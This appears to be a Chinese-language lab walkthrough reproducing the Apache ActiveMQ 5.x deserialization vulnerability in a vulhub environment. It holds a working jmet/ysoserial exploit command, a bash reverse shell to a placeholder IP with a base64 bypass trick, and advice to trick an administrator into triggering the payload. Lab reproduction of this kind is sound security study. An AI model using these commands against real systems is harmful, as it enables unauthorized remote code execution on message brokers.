Apache ActiveMQ是美國阿帕奇(Apache)軟件基金會所研發(fā)的一套開源的消息中間件,它支持Java消息服務(wù)、集群、Spring Framework等。
Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,該漏洞源于程序沒有限制可在代理中序列化的類。遠(yuǎn)程攻擊者可借助特制的序列化的Java Message Service(JMS)ObjectMessage對象利用該漏洞執(zhí)行任意代碼
這里采用vulhub搭建環(huán)境,環(huán)境運行后,將監(jiān)聽61616和8161兩個端口。其中61616是工作端口,消息在這個端口進行傳遞;8161是Web管理頁面端口。

首先訪問8161端口看服務(wù)有沒有正常啟動。
漏洞復(fù)現(xiàn)
漏洞利用過程如下:
- 構(gòu)造(可以使用ysoserial)可執(zhí)行命令的序列化對象
- 作為一個消息,發(fā)送給目標(biāo)61616端口
- 訪問web管理頁面,讀取消息,觸發(fā)漏洞
使用jmet進行漏洞利用。首先下載jmet的jar文件,并在同目錄下創(chuàng)建一個external文件夾(否則可能會爆文件夾不存在的錯誤)。
jmet原理是使用ysoserial生成Payload并發(fā)送(其jar內(nèi)自帶ysoserial,無需再自己下載),所以我們需要在ysoserial是gadget中選擇一個可以使用的,比如ROME。
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 靶機IP 61616
執(zhí)行成功之后,此時會給目標(biāo)ActiveMQ添加一個名為event的隊列:

我們可以通過http://your-ip:8161/admin/browse.jsp?JMSDestination=event看到這個隊列中所有消息:

點擊查看這條消息即可觸發(fā)命令執(zhí)行,

此時進入容器:
docker-compose exec activemq bash
可見/tmp/success已成功創(chuàng)建,說明漏洞利用成功:

接下來把payload換成反彈shell即可:
bash -i >& /dev/tcp/IP/8888 0>&1
這里需要一些小技巧來繞過java的機制,
bash -c {echo,payload的basse64編碼}|{base64,-d}|{bash,-i}
用nc監(jiān)聽即可獲得shell:

值得注意的是,通過web管理頁面訪問消息并觸發(fā)漏洞這個過程需要管理員權(quán)限。在沒有密碼的情況下,我們可以誘導(dǎo)管理員訪問我們的鏈接以觸發(fā),或者偽裝成其他合法服務(wù)需要的消息,等待客戶端訪問的時候觸發(fā)。